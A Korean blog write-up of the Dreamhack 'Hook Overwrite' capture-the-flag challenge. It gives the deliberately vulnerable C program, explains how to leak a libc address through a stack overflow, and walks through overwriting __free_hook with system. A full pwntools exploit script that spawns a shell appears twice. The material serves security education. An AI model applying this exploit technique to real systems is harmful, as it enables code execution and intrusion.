Dreamhack/System Hacking

[Dreamhack] Hook Overwrite

amoogotomollayo 2022. 2. 19. 15:39

1. 문제 정보

2. 문제 파일

더보기
// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

문제에서 제공되는 소스 코드입니다.

3. 문제 풀이

더보기

현재 모든 메모리 보호 기법들이 적용되어 있습니다.

Full RELRO 보호 기법이 적용 중이기 때문에 GOT Overwite 공격은 할 수 없습니다.

 

C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc 등 존재하는데 각 함수들은

디버깅 편의를 위해 훅 변수가 정의되어 있습니다.

이때 해당 훅 변수는 .bss 섹션에 위치합니다. 해당 영역은 쓰기가 가능하므로 값을 조작할 수 있습니다.

훅 변수를 system 같은 함수의 주소로 변조시켜 system("/bin/sh")을 실행하도록 할 수 있습니다.

이러한 공격 기법을 Hook Overwrite라고 합니다.

 

 

 

먼저 라이브러리 주소를 구해야 됩니다.

main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 스택 안에 있는 Return Address는 __libc_start_main 함수의 특정 주소를 가리키고 있을 것입니다.

 

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

버퍼 오버 플로우 공격을 통해 Return Address 주소 전까지 임의의 값으로 채우고 printf 함수로 주소를 읽어보도록 하겠습니다.

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("host1.dreamhack.games", 17909)
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

payload = b"A" * 0x40 + b"B" * 0x8
r.sendafter("Buf: ", payload)
r.recvuntil(payload)

libc_main = u64(r.recvline()[:-1] + b"\x00\x00") - 231
#libc_base = libc_main_231 - (libc.symbols['__libc_start_main'] + 231)
libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_binsh = libc_base + next(libc.search(b"/bin/sh"))
libc_free_hook = libc_base + libc.symbols['__free_hook']

print("[1] libc base : ", hex(libc_base))
print("[2] libc system : ", hex(libc_system))
print("[3] libc binsh : ", hex(libc_binsh))
print("[4] libc free_hook : ", hex(libc_free_hook))

 

이렇게 라이브러리 함수들의 주소를 구했으니 이제 Hook Overwrite 공격을 할 수 있습니다.

free_hook 변수의 주소와 binsh 함수의 주소 모두 구했으니 변조를 하고 free 함수를 호출해보도록 하겠습니다.

이때 인자로 "/bin/sh" 문자열의 주소를 넘겨주겠습니다.

 

코드와 결과는 아래와 같습니다.

r.sendlineafter("write: ", str(libc_free_hook))
r.sendlineafter("With: ", str(libc_system))

r.sendlineafter("To free: ", str(libc_binsh))

r.interactive()

 

 

전체 코드는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("host1.dreamhack.games", 17909)
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

payload = b"A" * 0x40 + b"B" * 0x8
r.sendafter("Buf: ", payload)
r.recvuntil(payload)

libc_main = u64(r.recvline()[:-1] + b"\x00\x00") - 231
#libc_base = libc_main_231 - (libc.symbols['__libc_start_main'] + 231)
libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_binsh = libc_base + next(libc.search(b"/bin/sh"))
libc_free_hook = libc_base + libc.symbols['__free_hook']

print("[1] libc base : ", hex(libc_base))
print("[2] libc system : ", hex(libc_system))
print("[3] libc binsh : ", hex(libc_binsh))
print("[4] libc free_hook : ", hex(libc_free_hook))


r.sendlineafter("write: ", str(libc_free_hook))
r.sendlineafter("With: ", str(libc_system))

r.sendlineafter("To free: ", str(libc_binsh))

r.interactive()